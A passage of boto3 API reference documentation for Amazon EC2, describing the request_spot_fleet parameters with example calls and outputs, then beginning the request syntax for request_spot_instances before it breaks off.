+ Enables monitoring for the instance. + + Default: false + + * **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify subnet IDs and security group IDs using the network interface. + + Note + + SpotFleetLaunchSpecification currently does not support Elastic Fabric Adapter (EFA). To specify an EFA, you must use [LaunchTemplateConfig](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_LaunchTemplateConfig.html) . + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + * **Placement** _(dict) --_ + + The placement information. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + \[Spot Fleet only\] To specify multiple Availability Zones, separate them using commas; for example, "us-west-2a, us-west-2b". + + * **GroupName** _(string) --_ + + The name of the placement group. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for Spot Instances. + + * **RamdiskId** _(string) --_ + + The ID of the RAM disk. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, refer to the AWS Resource Center and search for the kernel ID. + + * **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. If this value is not specified, the default is the Spot price specified for the fleet. To determine the Spot price per unit hour, divide the Spot price by the value of WeightedCapacity . + + * **SubnetId** _(string) --_ + + The IDs of the subnets in which to launch the instances. To specify multiple subnets, separate them using commas; for example, "subnet-1234abcdeexample1, subnet-0987cdef6example2". + + * **UserData** _(string) --_ + + The Base64-encoded user data that instances use when starting up. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. These are the same units that you chose to set the target capacity in terms of instances, or a performance characteristic such as vCPUs, memory, or I/O. + + If the target capacity divided by this value is not a whole number, Amazon EC2 rounds the number of instances to the next whole number. If this value is not specified, the default is 1. + + * **TagSpecifications** _(list) --_ + + The tags to apply during creation. + + * _(dict) --_ + + The tags for a Spot Fleet resource. + + * **ResourceType** _(string) --_ + + The type of resource. Currently, the only resource type that is supported is instance . To tag the Spot Fleet request on creation, use the TagSpecifications parameter in \` SpotFleetRequestConfigData [https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API\_SpotFleetRequestConfigData](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetRequestConfigData).html\`\_\_ . + + * **Tags** _(list) --_ + + The tags. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **LaunchTemplateConfigs** _(list) --_ + + The launch template and overrides. If you specify LaunchTemplateConfigs , you can't specify LaunchSpecifications . If you include On-Demand capacity in your request, you must use LaunchTemplateConfigs . + + * _(dict) --_ + + Describes a launch template and overrides. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(list) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * _(dict) --_ + + Describes overrides for a launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **OnDemandAllocationStrategy** is set to prioritized , Spot Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the launch template override has the lowest priority. + + * **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. The default is the On-Demand price. + + * **TargetCapacity** _(integer) --_ **\[REQUIRED\]** + + The number of units to request for the Spot Fleet. You can choose to set the target capacity in terms of instances or a performance characteristic that is important to your application workload, such as vCPUs, memory, or I/O. If the request type is maintain , you can specify a target capacity of 0 and add capacity later. + + * **OnDemandTargetCapacity** _(integer) --_ + + The number of On-Demand units to request. You can choose to set the target capacity in terms of instances or a performance characteristic that is important to your application workload, such as vCPUs, memory, or I/O. If the request type is maintain , you can specify a target capacity of 0 and add capacity later. + + * **OnDemandMaxTotalPrice** _(string) --_ + + The maximum amount per hour for On-Demand Instances that you're willing to pay. You can use the onDemandMaxTotalPrice parameter, the spotMaxTotalPrice parameter, or both parameters to ensure that your fleet cost does not exceed your budget. If you set a maximum price per hour for the On-Demand Instances and Spot Instances in your request, Spot Fleet will launch instances until it reaches the maximum amount you're willing to pay. When the maximum amount you're willing to pay is reached, the fleet stops launching instances even if it hasn’t met the target capacity. + + * **SpotMaxTotalPrice** _(string) --_ + + The maximum amount per hour for Spot Instances that you're willing to pay. You can use the spotdMaxTotalPrice parameter, the onDemandMaxTotalPrice parameter, or both parameters to ensure that your fleet cost does not exceed your budget. If you set a maximum price per hour for the On-Demand Instances and Spot Instances in your request, Spot Fleet will launch instances until it reaches the maximum amount you're willing to pay. When the maximum amount you're willing to pay is reached, the fleet stops launching instances even if it hasn’t met the target capacity. + + * **TerminateInstancesWithExpiration** _(boolean) --_ + + Indicates whether running Spot Instances are terminated when the Spot Fleet request expires. + + * **Type** _(string) --_ + + The type of request. Indicates whether the Spot Fleet only requests the target capacity or also attempts to maintain it. When this value is request , the Spot Fleet only places the required requests. It does not attempt to replenish Spot Instances if capacity is diminished, nor does it submit requests in alternative Spot pools if capacity is not available. When this value is maintain , the Spot Fleet maintains the target capacity. The Spot Fleet places the required requests to meet capacity and automatically replenishes any interrupted instances. Default: maintain . instant is listed but is not used by Spot Fleet. + + * **ValidFrom** _(datetime) --_ + + The start date and time of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T\*HH\* :_MM_ :_SS_ Z). By default, Amazon EC2 starts fulfilling the request immediately. + + * **ValidUntil** _(datetime) --_ + + The end date and time of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T\*HH\* :_MM_ :_SS_ Z). After the end date and time, no new Spot Instance requests are placed or able to fulfill the request. If no value is specified, the Spot Fleet request remains until you cancel it. + + * **ReplaceUnhealthyInstances** _(boolean) --_ + + Indicates whether Spot Fleet should replace unhealthy instances. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + + * **LoadBalancersConfig** _(dict) --_ + + One or more Classic Load Balancers and target groups to attach to the Spot Fleet request. Spot Fleet registers the running Spot Instances with the specified Classic Load Balancers and target groups. + + With Network Load Balancers, Spot Fleet cannot register instances that have the following instance types: C1, CC1, CC2, CG1, CG2, CR1, CS1, G1, G2, HI1, HS1, M1, M2, M3, and T1. + + * **ClassicLoadBalancersConfig** _(dict) --_ + + The Classic Load Balancers. + + * **ClassicLoadBalancers** _(list) --_ + + One or more Classic Load Balancers. + + * _(dict) --_ + + Describes a Classic Load Balancer. + + * **Name** _(string) --_ + + The name of the load balancer. + + * **TargetGroupsConfig** _(dict) --_ + + The target groups. + + * **TargetGroups** _(list) --_ + + One or more target groups. + + * _(dict) --_ + + Describes a load balancer target group. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the target group. + + * **InstancePoolsToUseCount** _(integer) --_ + + The number of Spot pools across which to allocate your target Spot capacity. Valid only when Spot **AllocationStrategy** is set to lowest-price . Spot Fleet selects the cheapest Spot pools and evenly allocates your target Spot capacity across the number of Spot pools that you specify. + + * **TagSpecifications** _(list) --_ + + The key-value pair for tagging the Spot Fleet request on creation. The value for ResourceType must be spot-fleet-request , otherwise the Spot Fleet request fails. To tag instances at launch, specify the tags in the [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html#create-launch-template) (valid only if you use LaunchTemplateConfigs ) or in the \` SpotFleetTagSpecification [https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API\_SpotFleetTagSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetTagSpecification).html\`\_\_ (valid only if you use LaunchSpecifications ). For information about tagging after launch, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html#tag-resources) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id621)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id623)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SpotFleetRequestId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of RequestSpotFleet. + + * **SpotFleetRequestId** _(string) --_ + + The ID of the Spot Fleet request. + + +**Examples** + +This example creates a Spot fleet request with two launch specifications that differ only by subnet. The Spot fleet launches the instances in the specified subnet with the lowest price. If the instances are launched in a default VPC, they receive a public IP address by default. If the instances are launched in a nondefault VPC, they do not receive a public IP address by default. Note that you can't specify different subnets from the same Availability Zone in a Spot fleet request. + +response \= client.request\_spot\_fleet( + SpotFleetRequestConfig\={ + 'IamFleetRole': 'arn:aws:iam::123456789012:role/my-spot-fleet-role', + 'LaunchSpecifications': \[ + { + 'IamInstanceProfile': { + 'Arn': 'arn:aws:iam::123456789012:instance-profile/my-iam-role', + }, + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'm3.medium', + 'KeyName': 'my-key-pair', + 'SecurityGroups': \[ + { + 'GroupId': 'sg-1a2b3c4d', + }, + \], + 'SubnetId': 'subnet-1a2b3c4d, subnet-3c4d5e6f', + }, + \], + 'SpotPrice': '0.04', + 'TargetCapacity': 2, + }, +) + +print(response) + +Expected Output: + +{ + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example creates a Spot fleet request with two launch specifications that differ only by Availability Zone. The Spot fleet launches the instances in the specified Availability Zone with the lowest price. If your account supports EC2-VPC only, Amazon EC2 launches the Spot instances in the default subnet of the Availability Zone. If your account supports EC2-Classic, Amazon EC2 launches the instances in EC2-Classic in the Availability Zone. + +response \= client.request\_spot\_fleet( + SpotFleetRequestConfig\={ + 'IamFleetRole': 'arn:aws:iam::123456789012:role/my-spot-fleet-role', + 'LaunchSpecifications': \[ + { + 'IamInstanceProfile': { + 'Arn': 'arn:aws:iam::123456789012:instance-profile/my-iam-role', + }, + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'm3.medium', + 'KeyName': 'my-key-pair', + 'Placement': { + 'AvailabilityZone': 'us-west-2a, us-west-2b', + }, + 'SecurityGroups': \[ + { + 'GroupId': 'sg-1a2b3c4d', + }, + \], + }, + \], + 'SpotPrice': '0.04', + 'TargetCapacity': 2, + }, +) + +print(response) + +Expected Output: + +{ + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example assigns public addresses to instances launched in a nondefault VPC. Note that when you specify a network interface, you must include the subnet ID and security group ID using the network interface. + +response \= client.request\_spot\_fleet( + SpotFleetRequestConfig\={ + 'IamFleetRole': 'arn:aws:iam::123456789012:role/my-spot-fleet-role', + 'LaunchSpecifications': \[ + { + 'IamInstanceProfile': { + 'Arn': 'arn:aws:iam::880185128111:instance-profile/my-iam-role', + }, + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'm3.medium', + 'KeyName': 'my-key-pair', + 'NetworkInterfaces': \[ + { + 'AssociatePublicIpAddress': True, + 'DeviceIndex': 0, + 'Groups': \[ + 'sg-1a2b3c4d', + \], + 'SubnetId': 'subnet-1a2b3c4d', + }, + \], + }, + \], + 'SpotPrice': '0.04', + 'TargetCapacity': 2, + }, +) + +print(response) + +Expected Output: + +{ + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example creates a Spot fleet request that launches 30 instances using the diversified allocation strategy. The launch specifications differ by instance type. The Spot fleet distributes the instances across the launch specifications such that there are 10 instances of each type. + +response \= client.request\_spot\_fleet( + SpotFleetRequestConfig\={ + 'AllocationStrategy': 'diversified', + 'IamFleetRole': 'arn:aws:iam::123456789012:role/my-spot-fleet-role', + 'LaunchSpecifications': \[ + { + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'c4.2xlarge', + 'SubnetId': 'subnet-1a2b3c4d', + }, + { + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'm3.2xlarge', + 'SubnetId': 'subnet-1a2b3c4d', + }, + { + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'r3.2xlarge', + 'SubnetId': 'subnet-1a2b3c4d', + }, + \], + 'SpotPrice': '0.70', + 'TargetCapacity': 30, + }, +) + +print(response) + +Expected Output: + +{ + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + 'ResponseMetadata': { + '...': '...', + }, +} + +request\_spot\_instances(_\*\*kwargs_) + +Creates a Spot Instance request. + +For more information, see [Spot Instance requests](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-requests.html) in the _Amazon EC2 User Guide for Linux Instances_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RequestSpotInstances) + +**Request Syntax** + +response \= client.request\_spot\_instances( + AvailabilityZoneGroup\='string', + BlockDurationMinutes\=123, + ClientToken\='string', + DryRun\=True|False, + InstanceCount\=123, + LaunchGroup\='string', + LaunchSpecification\={ + 'SecurityGroupIds': \[ + 'string', + \], + 'SecurityGroups': \[ + 'string', + \], + 'AddressingType': 'string', + 'BlockDeviceMappings': \[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + \], + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'NetworkInterfaces': \[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': \[ + 'string', + \], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': \[ + { + 'Ipv6Address': 'string' + }, + \], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': \[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + \], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + \], + 'Placement': { + 'AvailabilityZone': 'string', + 'GroupName': 'string', + 'Tenancy': 'default'|'dedicated'|'host' + }, + 'RamdiskId': 'string', + 'SubnetId': 'string', + 'UserData': 'string' + }, + SpotPrice\='string', + Type\='one-time'|'persistent', + ValidFrom\=datetime(2015, 1, 1), + ValidUntil\=datetime(2015, 1, 1), + TagSpecifications\=\[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': \[ + { + 'Key': 'string', + 